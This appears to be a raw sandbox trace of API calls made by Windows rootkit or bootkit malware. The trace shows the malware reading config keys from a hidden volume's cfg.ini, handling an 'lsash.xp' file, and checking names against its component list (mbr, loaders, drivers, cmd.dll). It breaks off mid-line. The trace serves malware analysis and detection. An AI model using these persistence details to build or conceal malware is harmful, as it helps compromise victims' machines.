[0126.282] IdePortDispatch () returned 0x103 [0126.282] KeWaitForMutexObject () returned 0x0 [0126.282] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.282] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.282] KeLeaveCriticalRegion () [0126.282] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.282] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.283] KeEnterCriticalRegion () [0126.283] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.283] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003467000 [0126.283] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.283] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.283] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.283] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.283] IdePortDispatch () returned 0x103 [0126.283] KeWaitForMutexObject () returned 0x0 [0126.283] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.283] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.283] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.283] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.283] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.283] IdePortDispatch () returned 0x103 [0126.283] KeWaitForMutexObject () returned 0x0 [0126.283] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.283] KeLeaveCriticalRegion () [0126.283] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.284] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.284] KeEnterCriticalRegion () [0126.284] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.284] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.284] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.284] KeLeaveCriticalRegion () [0126.284] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.284] KeEnterCriticalRegion () [0126.284] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.284] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.284] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.284] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.284] KeLeaveCriticalRegion () [0126.284] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.284] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.284] KeEnterCriticalRegion () [0126.284] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.284] ExFreePoolWithTag (P=0xfffffa8003ac68c0, Tag=0x0) [0126.284] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.284] KeLeaveCriticalRegion () [0126.284] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.284] ReleaseMutex (hMutex=0xf0) returned 1 [0126.284] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.284] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.284] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.284] KeEnterCriticalRegion () [0126.284] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.284] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.284] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.284] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.284] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.284] IdePortDispatch () returned 0x103 [0126.284] KeWaitForMutexObject () returned 0x0 [0126.284] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.285] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.285] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.285] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.285] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.285] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e0300 [0126.285] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.285] KeLeaveCriticalRegion () [0126.285] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.285] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.285] KeEnterCriticalRegion () [0126.285] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.285] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.285] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.285] KeLeaveCriticalRegion () [0126.285] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.285] KeEnterCriticalRegion () [0126.285] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.285] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.285] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.285] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.285] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.285] IdePortDispatch () returned 0x103 [0126.285] KeWaitForMutexObject () returned 0x0 [0126.285] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.285] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.285] KeLeaveCriticalRegion () [0126.285] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.285] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.285] KeEnterCriticalRegion () [0126.285] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.285] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003468000 [0126.285] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.285] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.285] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.285] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.285] IdePortDispatch () returned 0x103 [0126.286] KeWaitForMutexObject () returned 0x0 [0126.286] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.286] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.286] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.286] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.286] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.286] IdePortDispatch () returned 0x103 [0126.286] KeWaitForMutexObject () returned 0x0 [0126.286] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.286] KeLeaveCriticalRegion () [0126.286] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.286] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.286] KeEnterCriticalRegion () [0126.286] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.286] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.286] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.286] KeLeaveCriticalRegion () [0126.287] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.287] KeEnterCriticalRegion () [0126.287] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.287] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.287] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ecc80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.287] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.287] KeLeaveCriticalRegion () [0126.287] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.287] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.287] KeEnterCriticalRegion () [0126.287] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.287] ExFreePoolWithTag (P=0xfffffa80037e0300, Tag=0x0) [0126.287] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.287] KeLeaveCriticalRegion () [0126.287] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.287] ReleaseMutex (hMutex=0xf0) returned 1 [0126.287] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.287] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.287] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.287] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.287] KeEnterCriticalRegion () [0126.287] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.287] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.287] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.287] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.287] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.287] IdePortDispatch () returned 0x103 [0126.287] KeWaitForMutexObject () returned 0x0 [0126.287] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.287] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.287] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.287] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.287] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.287] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.287] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.287] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.287] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.287] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.287] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.288] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.288] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.288] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.288] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.288] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.288] KeLeaveCriticalRegion () [0126.288] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.288] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.288] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.288] KeEnterCriticalRegion () [0126.288] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.288] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.288] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.288] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.288] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.288] IdePortDispatch () returned 0x103 [0126.288] KeWaitForMutexObject () returned 0x0 [0126.288] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.288] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.288] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.288] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.288] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.288] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.288] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.288] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.288] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.288] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.288] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.288] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.288] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.288] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.288] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.288] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.288] KeLeaveCriticalRegion () [0126.288] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.288] ReleaseMutex (hMutex=0x100) returned 1 [0126.288] Sleep (dwMilliseconds=0x2bf20) [0126.295] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e7993d0, dwHighDateTime=0x1d24fa4)) [0126.295] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.295] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.295] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.295] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.295] KeEnterCriticalRegion () [0126.295] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.295] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.295] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.295] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.295] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.295] IdePortDispatch () returned 0x103 [0126.295] KeWaitForMutexObject () returned 0x0 [0126.295] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.295] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.295] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.295] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.295] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.295] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037dc380 [0126.295] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.295] KeLeaveCriticalRegion () [0126.295] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.295] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.295] KeEnterCriticalRegion () [0126.295] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.295] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.295] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.295] KeLeaveCriticalRegion () [0126.295] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.295] KeEnterCriticalRegion () [0126.295] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.295] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.295] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.295] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.295] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.296] IdePortDispatch () returned 0x103 [0126.296] KeWaitForMutexObject () returned 0x0 [0126.296] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.296] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.296] KeLeaveCriticalRegion () [0126.296] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.296] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.296] KeEnterCriticalRegion () [0126.296] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.296] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800346b000 [0126.296] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.296] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.296] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.296] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.296] IdePortDispatch () returned 0x103 [0126.296] KeWaitForMutexObject () returned 0x0 [0126.296] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.296] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.296] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.296] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.296] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.296] IdePortDispatch () returned 0x103 [0126.296] KeWaitForMutexObject () returned 0x0 [0126.297] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.297] KeLeaveCriticalRegion () [0126.297] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.297] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.297] KeEnterCriticalRegion () [0126.297] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.297] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.297] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.297] KeLeaveCriticalRegion () [0126.297] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.297] KeEnterCriticalRegion () [0126.297] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.297] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.297] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.297] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.297] KeLeaveCriticalRegion () [0126.297] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.297] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.297] KeEnterCriticalRegion () [0126.297] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.297] ExFreePoolWithTag (P=0xfffffa80037dc380, Tag=0x0) [0126.297] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.297] KeLeaveCriticalRegion () [0126.297] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.297] ReleaseMutex (hMutex=0xf0) returned 1 [0126.297] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.297] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.298] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") 